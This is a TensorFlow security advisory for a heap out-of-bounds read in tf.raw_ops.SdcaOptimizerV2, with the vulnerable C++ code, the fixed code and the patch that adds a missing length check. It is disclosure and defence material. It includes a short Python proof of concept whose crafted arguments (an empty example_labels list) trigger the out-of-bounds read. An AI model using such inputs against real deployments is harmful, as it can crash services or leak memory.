Vulnerability: Heap OOB in `SdcaOptimizerV2` ### Impact
An attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to `tf.raw_ops.SdcaOptimizerV2`:

```python
import tensorflow as tf
  
tf.raw_ops.SdcaOptimizerV2(
  sparse_example_indices=[[1]],
  sparse_feature_indices=[[1]],
  sparse_feature_values=[[1.0,2.0]],
  dense_features=[[1.0]],
  example_weights=[1.0],
  example_labels=[],
  sparse_indices=[1],
  sparse_weights=[1.0],
  dense_weights=[[1.0]],
  example_state_data=[[100.0,100.0,100.0,100.0]],
  loss_type='logistic_loss',
  l1=100.0,
  l2=100.0,
  num_loss_partitions=1,
  num_inner_iterations=1,
  adaptive=True)       
``` 

The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/sdca_internal.cc#L320-L353) does not check that the length of `example_labels` is the same as the number of examples.

### Patches
We have patched the issue in GitHub commit [a4e138660270e7599793fa438cd7b2fc2ce215a6](https://github.com/tensorflow/tensorflow/commit/a4e138660270e7599793fa438cd7b2fc2ce215a6).

The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
Vulnerability ID: GHSA-5hj3-vjjf-f5m7
CWE: CWE-125
Severity score: 5.5
Project: https://github.com/tensorflow/tensorflow
Published: 2021-08-25
File: tensorflow/core/kernels/sdca_internal.cc
Commit message: Add remaining validation to `sdca_internal.cc`

PiperOrigin-RevId: 387738010
Change-Id: I28eedcfd87a53aaf34deb075acea1f8c95470808
Commit author: Mihai Maruseac

Vulnerable version (before fix):
 Status Examples::Initialize(OpKernelContext* const context,   const Tensor* example_labels_t;   TF_RETURN_IF_ERROR(context->input("example_labels", &example_labels_t));   auto example_labels = example_labels_t->flat<float>();    OpInputList dense_features_inputs;   TF_RETURN_IF_ERROR(

Fixed version (after fix):
 Status Examples::Initialize(OpKernelContext* const context,   const Tensor* example_labels_t;   TF_RETURN_IF_ERROR(context->input("example_labels", &example_labels_t));   auto example_labels = example_labels_t->flat<float>();   if (example_labels.size() != num_examples) {     return errors::InvalidArgument("Expected ", num_examples,                                    " example labels but got ",                                    example_labels.size());   }    OpInputList dense_features_inputs;   TF_RETURN_IF_ERROR(

Patch:
patch: @@ -380,6 +380,11 @@ Status Examples::Initialize(OpKernelContext* const context,
   const Tensor* example_labels_t;
   TF_RETURN_IF_ERROR(context->input("example_labels", &example_labels_t));
   auto example_labels = example_labels_t->flat<float>();
+  if (example_labels.size() != num_examples) {
+    return errors::InvalidArgument("Expected ", num_examples,
+                                   " example labels but got ",
+                                   example_labels.size());
+  }
 
   OpInputList dense_features_inputs;
   TF_RETURN_IF_ERROR(
path: tensorflow/core/kernels/sdca_internal.cc